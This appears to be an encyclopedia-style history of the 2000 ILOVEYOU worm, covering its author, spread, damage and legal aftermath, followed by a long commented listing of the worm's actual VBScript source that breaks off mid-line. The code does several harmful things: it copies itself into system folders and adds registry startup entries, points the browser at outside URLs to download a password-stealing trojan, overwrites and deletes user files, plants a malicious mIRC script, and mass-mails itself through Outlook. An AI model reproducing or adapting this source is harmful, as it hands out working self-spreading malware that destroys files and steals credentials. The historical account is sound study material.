ILOVEYOU
WORM - 2000 - 10M+ computers infected
Onel de Guzman,[4] a then-24-year-old computer science student at AMA Computer College[5] and resident of Manila, Philippines, created the malware. Because there were no laws in the Philippines against making malware at the time of its creation, the Philippine Congress enacted Republic Act No. 8792, otherwise known as the E-Commerce Law, in July 2000 to discourage future iterations of such activity. However, the Constitution of the Philippines prohibits ex post facto laws, and as such de Guzman could not be prosecuted.[6]
Background
The ILOVEYOU worm was coded by Onel de Guzman, then a student at AMA Computer College of the Philippines. At the time of its creation, de Guzman was poor and struggling to pay for the country's dial-up internet access.[5] De Guzman believed that internet access was a human right,[5] and submitted an undergraduate thesis to the college which proposed the development of a trojan to steal internet login details.[7] He claimed that this would allow users to be able to afford an internet connection, arguing that those affected by it would experience no loss.[5] The proposal was rejected by the college, which remarked that his proposal was "illegal" and that "they did not produce burglars".[7] This led de Guzman to claim that his professors were closed-minded,[4] and he ultimately dropped out of the college and began development of the worm.[8]
Architecture
De Guzman wrote ILOVEYOU in VBScript, and the Windows Script Host is utilized to run the code. ILOVEYOU was distributed through malicious email attachments. The worm was found in emails with the subject "ILOVEYOU" and a message of "Kindly check the attached love letter from me!" The attachment
LOVE-LETTER-FOR-YOU.TXT.vbs contained the worm.[9]Upon opening the file, the worm copies itself into relevant directories so it will be run upon reboot of the computer. Two of the three copies masquerade as legitimate Microsoft Windows library files, named
MSKernel32.vbs and Win32DLL.vbs. The other copy retains the original LOVE-LETTER-FOR-YOU.TXT.vbs name.[10]The worm attempts to download a trojan horse named
WIN-BUGSFIX.exe. To achieve this, the victim's Internet Explorer homepage is set to a URL that downloads the trojan upon opening the browser. If the download is successful, the trojan is set to run upon reboot and the Internet Explorer homepage is set to a blank page. The trojan fulfils Guzman's primary aim by stealing passwords.[10]The worm sends its trademark email to all contacts in the victim's address book. To prevent multiple emails being sent to one person from each successive run of the worm, a registry key is generated for each address book entry once an email has been sent. The worm will only send an email if the registry key is not present. This also allows for emails to be sent to new contacts placed in the address book. ILOVEYOU also has the capability to spread via Internet Relay Chat channels.[10]
The worm searches connected drives for files to modify. All VBScript files it finds (.vbs, .vbe) are overwritten with the worm's code. Files with extensions .jpg, .jpeg, .js, .jse, .css, .wsh, .sct, .doc and .hta are replaced with copies of the worm that have the same base file name but appended with the .vbs extension. Copies for .mp2 and .mp3 files are similarly produced, but the original files are hidden instead of removed.[10]
Deceptive methods
The email format is considered to be one of the first examples of malware using social engineering,[11] by encouraging victims to open the attached file under the pretext they had a lover who was attempting to contact them.[12] This was exacerbated by the fact that emails appeared to come from close contacts as a result of the worm's use of its previous victim's contact lists.[13] The worm's subsequent success has resulted in the use of social engineering in many modern-day malware attacks.[11] The attachment exploited a feature of Microsoft Outlook where only one file extension would be displayed. As the file name was parsed from left to right, which would be stopped after the first period, to victims the attachment would appear to be an inconspicuous .txt file incapable of holding malware. The worm's real .vbs extension was hidden.[13] De Guzman also claimed that a bug in Windows 95, where code in email attachments was automatically run upon being clicked, contributed to the worm's success.[5]Variants
The fact that the worm was written in VBScript allowed users to modify it. A user could easily change the worm to replace essential files and destroy the system, allowing more than 25 variations of ILOVEYOU to spread across the Internet, each doing different kinds of damage.[14] Most of the variations had to do with what file extensions were affected by the worm. Others modified the email subject to target a specific audience, like the variant "Cartolina" ("postcard") in Italian or "BabyPic" for adults. Some others only changed the credits to the author, which were initially included in the standard version of the virus, removing them entirely or referencing false authors.[14] Others overwrote "EXE" and "COM" files, and the user's computer would then be unbootable upon restarting.[citation needed]Some mail messages sent by ILOVEYOU include:
Spread
Originally designing the worm to only work in Manila, De Guzman removed this geographic restriction out of curiosity, which allowed the worm to spread worldwide. De Guzman did not expect this worldwide spread.[5]
The worm originated in the Pandacan neighborhood of Manila in the Philippines on 4 May 2000,[16] thereafter moving westward through corporate email systems as employees began their workday that Friday morning – moving first to Hong Kong, then to Europe, and finally the United States.[17][18] Because the worm used mailing lists as its source of targets, the messages often appeared to come from acquaintances and were therefore often regarded as "safe" by their victims, providing further incentive to open them. Only a few users at each site had to access the attachment to generate millions more messages that crippled mail systems and overwrote millions of files on computers in each successive network.[19]
Impact
The outbreak was estimated to have caused US$5.5–8.7 billion in damages worldwide,[20][21][better source needed] and estimated to cost US$10–15 billion to remove the worm.[22][23] Within ten days, over fifty million infections had been reported,[24] and it is estimated that 10% of Internet-connected computers in the world had been affected.[22] Damage cited was mostly the time and effort spent getting rid of the infection and recovering files from backups. At the time, it was one of the world's most destructive computer related disasters ever.[25][26][27]
Europe
In the United Kingdom, the worm reached the email servers of the House of Commons on 4 May.[7] The servers were shut down for two hours in response.[17] The worm affected the banking system of Belgium.[28]United States
The worm affected most federal government agencies and caused disruption to multiple, including the Department of Justice, the Department of Labor and the Social Security Administration.[28] Operations of the Department of Defense were significantly obstructed,[28] with the Central Intelligence Agency additionally affected[17] and the United States Army having 2258 infected workstations which cost approximately US$79,200 to recover.[29] The Veterans Health Administration received 7,000,000 ILOVEYOU emails during the outbreak, requiring 240 man-hours of work to resolve the problems created.[28] Files at the National Aeronautics and Space Administration were damaged, and in some cases unrecoverable from backups.[28]Cultural impact
The events inspired the song "E-mail" on the Pet Shop Boys' UK top-ten album of 2002, Release, the lyrics of which play thematically on the human desires which enabled the mass destruction of this computer infection.[citation needed]"I love you [rev.eng]" exhibited in July 2006 is a revamped and expanded version of an exhibition shown in June 2002 in the Museum for Applied Art in Frankfurt, in February 2003 at transmediale in Berlin, in August 2004 at the Watson Institute of the Brown University USA and in October 2004 at the Museum for Communication Copenhagen, Denmark.[30] In 2009, Kiat Kiat Projects curated an email exhibition entitled "How to Prevent Hair Loss" inspired by ILOVEYOU.[31][32]
The worm inspired the 2011 movie Subject: I Love You starring Jericho Rosales and Briana Evigan.[33] In 2019, The Persistence of Chaos, a laptop infected with six viruses including ILOVEYOU was sold at auction by Chinese artist Guo O Dong.[34] In November 2024, The Museum of Malware Art in Helsinki, Finland included a sculpture about ILOVEYOU.[35]
Investigation
On 5 May 2000, de Guzman and another young Filipino programmer named Reonel Ramones became targets of a criminal investigation by agents of the Philippines' National Bureau of Investigation (NBI).[36] Local Internet service provider Sky Internet had reported receiving numerous contacts from European computer users alleging that malware (in the form of the "ILOVEYOU" worm) had been sent via the ISP's servers.[37]
De Guzman attempted to hide the evidence by removing his computer from his apartment, but he accidentally left some disks behind that contained the worm, as well as information that implicated a possible co-conspirator.[5]
After surveillance and investigation by Darwin Bawasanta of Sky Internet, the NBI traced a frequently appearing telephone number[clarification needed] to Ramones' apartment in Manila. His residence was searched and Ramones was arrested and placed under investigation by the Department of Justice (DOJ). De Guzman was also charged in absentia.[citation needed]
At that point, the NBI was unsure of what felony or crime would apply.[36] It was suggested they be charged with violating Republic Act 8484 (the Access Device Regulation Act), a law designed mainly to penalize credit card fraud, since both used pre-paid (if not stolen) Internet cards to purchase access to ISPs. Another idea was that they could be charged with malicious mischief, a felony (under the Philippines Revised Penal Code of 1932) involving damage to property. The drawback here was that one of its elements, aside from damage to property, was intent to damage, and de Guzman had claimed during custodial investigations that he might have unwittingly released the worm.[4] At a press conference organized by his lawyer on 11 May, he said "It is possible" when asked whether he might have done so.[5]
To show intent, the NBI investigated AMA Computer College, where de Guzman had dropped out at the very end of his final year.[36]
Aftermath
Since there were no laws in the Philippines against writing malware at the time, both Ramones and de Guzman were released, with all charges dropped by state prosecutors.[38] To address this legislative deficiency,[36] the Philippine Congress enacted Republic Act No. 8792,[39] otherwise known as the E-Commerce Law, in July 2000, months after the worm outbreak.[6]
In 2012, the Smithsonian Institution named ILOVEYOU one of the top ten most virulent computer viruses in history.[12]
De Guzman did not want public attention. His last known public appearance was at the 2000 press conference, where he obscured his face and allowed his lawyer to answer most questions; his whereabouts remained unknown for 20 years afterward. In May 2020, investigative journalist Geoff White revealed that while researching his cybercrime book Crime Dot Com, he had found de Guzman working at a mobile phone repair stall in Manila. De Guzman admitted to creating and releasing the virus.[40] He claimed he had initially developed it to steal internet access passwords, since he could not afford to pay for access. He also stated that he created it alone, clearing the two others who had been accused of co-writing the worm.[41][42]
rem by: spyder / ispyder@mail.com / @GRAMMERSoft Group / Manila,Philippines
On Error Resume Next
rem Setup global variables to be used throughout subroutines and functions.
Dim fso, dirsystem, dirwin, dirtemp, eq, ctr, file, vbscopy, dow
eq = ""
ctr = 0
rem Open the current script file and define "vbscopy" which can be used to
rem read its own contents. Used to replicate itself in other files.
Set fso = CreateObject("Scripting.FileSystemObject")
Set file = fso.OpenTextFile(WScript.ScriptFullname, 1)
vbscopy = file.ReadAll
main()
rem Subroutine to initalize the program
Sub main()
On Error Resume Next
Dim wscr, rr
rem Creates a shell which will be used to read the registry.
Set wscr = CreateObject("WScript.Shell")
rem Gets a registry key which indicates the scripting time-out from Windows.
rr = wscr.RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout")
rem Checks if the current timeout is more than 0.
If (rr >= 1) Then
rem Sets the timeout to 0, effectively making it so that the script won't
rem time out, incase the system happens to be too slow to execute it.
wscr.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout", 0, "REG_DWORD"
End If
rem Finds special folders, such as system, temporary and windows folders.
Set dirwin = fso.GetSpecialFolder(0)
Set dirsystem = fso.GetSpecialFolder(1)
Set dirtemp = fso.GetSpecialFolder(2)
Set c = fso.GetFile(WScript.ScriptFullName)
rem Copy itself into VBScript files MSKernel32.vbs, Win32DLL.vbs and
rem LOVE-LETTER-FOR-YOU.TXT.vbs
c.Copy(dirsystem & "\MSKernel32.vbs")
c.Copy(dirwin & "\Win32DLL.vbs")
c.Copy(dirsystem & "\LOVE-LETTER-FOR-YOU.TXT.vbs")
rem Call the other subroutines.
regruns()
html()
spreadtoemail()
listadriv()
End Sub
rem Subroutine to create and update special registry values.
Sub regruns()
On Error Resume Next
Dim num, downread
rem Set the system to automatically run MSKernel32.vbs and Win32DLL.vbs on startup.
regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\MSKernel32", dirsystem & "\MSKernel32.vbs"
regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices\Win32DLL", dirwin & "\Win32DLL.vbs"
rem Get internet Explorer's download directory.
downread = ""
downread = regget("HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Download Directory")
rem If the directory wasn't found, then use C:\ drive as the download directory.
If (downread = "") Then
downread = "c:\"
End If
rem Check if a file named "WinFAT32.exe" exists in the system files.
If (fileexist(dirsystem & "\WinFAT32.exe") = 1) Then
Randomize
rem Generate a random number from 1 to 4.
num = Int((4 * Rnd) + 1)
rem Randomly update the Internet Explorer's start page that leads to a
rem page that will download a malicious executable "WIN-BUGSFIX.exe".
If num = 1 Then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\StartPage", "http://www.skyinet.net/~young1s/HJKhjnwerhjkxcvytwertnMTFwetrdsfmhPnjw6587345gvsdf7679njbvYT/WIN-BUGSFIX.exe"
ElseIf num = 2 Then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\StartPage", "http://www.skyinet.net/~angelcat/skladjflfdjghKJnwetryDGFikjUIyqwerWe546786324hjk4jnHHGbvbmKLJKjhkqj4w/WIN-BUGSFIX.exe"
ElseIf num = 3 Then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\StartPage", "http://www.skyinet.net/~koichi/jf6TRjkcbGRpGqaq198vbFV5hfFEkbopBdQZnmPOhfgER67b3Vbvg/WIN-BUGSFIX.exe"
ElseIf num = 4 Then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\StartPage", "http://www.skyinet.net/~chu/sdgfhjksdfjklNBmnfgkKLHjkqwtuHJBhAFSDGjkhYUgqwerasdjhPhjasfdglkNBhbqwebmznxcbvnmadshfgqw237461234iuy7thjg/WIN-BUGSFIX.exe"
End If
End If
rem Check if the "WIN-BUGSFIX.exe" file exists in the download directory.
If (fileexist(downread & "\WIN-BUGSFIX.exe") = 0) Then
rem Add WIN-BUGSFIX.exe to run on startup
regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\WIN-BUGSFIX", downread & "\WIN-BUGSFIX.exe"
rem Update Internet Explorer's start page to "about:blank"
regcreate "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\StartPage", "about:blank"
End If
End Sub
rem Subroutine to list folders in drives.
Sub listadriv()
On Error Resume Next
Dim d, dc, s
Set dc = fso.Drives
For Each d In dc
If (d.DriveType = 2) Or (d.DriveType = 3) Then
folderlist(d.path & "\")
End If
Next
listadriv = s
End Sub
rem Subroutine infect other files, by copying itself into them as well
rem as creating a malicious mIRC script.
Sub infectfiles(folderspec)
On Error Resume Next
Dim f, f1, fc, ext, ap, mircfname, s, bname, mp3
Set f = fso.GetFolder(folderspec)
Set fc = f.Files
For Each f1 In fc
ext = fso.GetExtensionName(f1.path)
ext = lcase(ext)
s = lcase(f1.name)
rem Copies itself into every file with vbs/vbe extension.
If (ext = "vbs") Or (ext = "vbe") Then
Set ap = fso.OpenTextFile(f1.path, 2, true)
ap.write vbscopy
ap.close
rem Copies itself into every file with js/jse/css/wsh/sct/hta extension
rem and creates a copy of the file with the .vbs extension.
ElseIf (ext = "js")
Or (ext = "jse")
Or (ext = "css")
Or (ext = "wsh")
Or (ext = "sct")
Or (ext = "hta")
Then
Set ap = fso.OpenTextFile(f1.path, 2, true)
ap.write vbscopy
ap.close
bname = fso.GetBaseName(f1.path)
Set cop = fso.GetFile(f1.path)
cop.copy(folderspec & "\" & bname & ".vbs")
fso.DeleteFile(f1.path)
rem Copies itself into every file with jpg/jpeg extension
rem and creates a copy of the file with the .vbs extension.
ElseIf (ext = "jpg") Or (ext = "jpeg") Then
rem Copies itself
Set ap = fso.OpenTextFile(f1.path, 2, true)
ap.write vbscopy
ap.close
Set cop = fso.GetFile(f1.path)
cop.copy(f1.path & ".vbs")
fso.DeleteFile(f1.path)
rem Copies itself into every file with mp3/mp2 extension.
ElseIf (ext = "mp3") Or (ext = "mp2") Then
Set mp3 = fso.CreateTextFile(f1.path & ".vbs")
mp3.write vbscopy
mp3.close
Set att = fso.GetFile(f1.path)
rem Sets file attributes to make the file Hidden.
rem Normal files have the attribute set to 0 so adding 2 to it,
rem will set the attributes to Hidden.
att.attributes = att.attributes + 2
End If
rem Checks if the folder has already been infected, if not it will continue
rem to infect the files.
If (eq <> folderspec) Then
rem Looks for mIRC and related files to determine whether it
rem should create/replace its script.ini with a malicious script.
If (s = "mirc32.exe")
Or (s = "mlink32.exe")
Or (s = "mirc.ini")
Or (s = "script.ini")
Or (s = "mirc.hlp")
Then
Set scriptini = fso.CreateTextFile(folderspec & "\script.ini")
rem The following mIRC script checks if the "nick" of a user is the same
rem as "me" to halt and send a DCC command that will send a message to
rem the user with a link to the LOVE=LETTER-FOR-YOU html page on the
rem system.
scriptini.WriteLine "[script]"
scriptini.WriteLine ";mIRC Script"
scriptini.WriteLine "; Please dont edit this script... mIRC will corrupt, If mIRC will"
scriptini.WriteLine " corrupt... WINDOWS will affect and will not run correctly. thanks"
scriptini.WriteLine ";"
scriptini.WriteLine ";Khaled Mardam-Bey"
scriptini.WriteLine ";http://www.mirc.com"
scriptini.WriteLine ";"
scriptini.WriteLine "n0=on 1:JOIN:#:{"
scriptini.WriteLine "n1= /If ( $nick == $me ) { halt }"
scriptini.WriteLine "n2= /.dcc send $nick" & dirsystem & "\LOVE-LETTER-FOR-YOU.HTM"
scriptini.WriteLine "n3=}"
scriptini.close
eq = folderspec
End If
End If
Next
End Sub
rem Subroutine used to get file listing of a folder.
Sub folderlist(folderspec)
On Error Resume Next
Dim f, f1, sf
Set f = fso.GetFolder(folderspec)
Set sf = f.SubFolders
rem Iterates over each subfolder from the given top-level folder and
rem recursively infect files.
For Each f1 In sf
infectfiles(f1.path)
folderlist(f1.path)
Next
End Sub
rem Subroutine used to create/write registry entries.
Sub regcreate(regkey,regvalue)
Set regedit = CreateObject("WScript.Shell")
regedit.RegWrite regkey, regvalue
End Sub
rem Subroutine used to get registry entries.
Function regget(value)
Set regedit = CreateObject("WScript.Shell")
regget = regedit.RegRead(value)
End Function
rem Function to check if a file exists.
Function fileexist(filespec)
On Error Resume Next
Dim msg
If (fso.FileExists(filespec)) Then
msg = 0
Else
msg = 1
End If
fileexist = msg
End Function
rem Function to check if a folder exists.
Function folderexist(folderspec)
On Error Resume Next
Dim msg
If (fso.GetFolderExists(folderspec)) Then
msg = 0
Else
msg = 1
End If
fileexist = msg
End Function
rem Subroutine to send emails to the user's contacts through MAPI
rem (Messaging Application Programming Interface), the API used by Outlook to
rem communicate with the Microsoft Exchange Server which also hosts calendars
rem and address book.
Sub spreadtoemail()
On Error Resume Next
Dim x, a, ctrlists, ctrentries, malead, b, regedit, regv, regad
rem Creates a shell to edit the registry.
Set regedit = CreateObject("WScript.Shell")
rem Creates a new Outlook application object instance, to access the MAPI.
Set out = WScript.CreateObject("Outlook.Application")
rem Gets the MAPI namespace used to access the address book lists.
Set mapi = out.GetNameSpace("MAPI")
rem Goes through all contacts in the address book and sends an email
rem with the LOVE-LETTER-FOR-YOU program as an attachment.
For ctrlists = 1 To mapi.AddressLists.Count
Set a = mapi.AddressLists(ctrlists)
x = 1
rem Gets a registry key that is used to check who has been sent an email,
rem already to ensure that even if there may be duplicate contacts, it will
rem only send the email once to the same address.
regv = regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\" & a)
If (regv = "") Then
regv = 1
End If
If (int(a.AddressEntries.Count) > int(regv)) Then
rem Iterates over each entry in the address list.
For ctrentries = 1 To a.AddressEntries.Count
malead = a.AddressEntries(x)
regad = ""
regad = regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\" & malead )
rem If the contact hasn't yet been sent an email, a new email will be
rem composed with the virus attached and a "kind" message and the
rem subject "ILOVEYOU".
If (regad = "") Then
Set male = out.CreateItem(0)
male.Recipients.Add(malead)
male.Subject = "ILOVEYOU"
male.Body = vbcrlf & "kindly check the attached LOVELETTER coming from me."
male.Attachments.Add(dirsystem & "\LOVE-LETTER-FOR-YOU.TXT.vbs")
male.Send
rem Sets the registry key to indicate that the email has been sent
rem to the current contact.
regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\" & malead, 1, "REG_DWORD"
End If
x = x + 1
Next
regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\" & a, a.AddressEntries.Count
Else
regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\" & a, a.AddressEntries.Count
End If
Next
Set out = Nothing
Set mapi = Nothing
End Sub
rem Subroutine to generate and create the HTML file for LOVE-LETTER-FOR-YOU.HTM.
Sub html
On Error Resume Next
Dim lines, n, dta1, dta2, dt1, dt2, dt3, dt4, l1, dt5, dt6
rem Generates an HTML page which contains a JScript and VBScript to replicate
rem itself by leveraging ActiveX. It also listens for mouse and key events,
rem which will open additional windows of the same page.
dta1 = "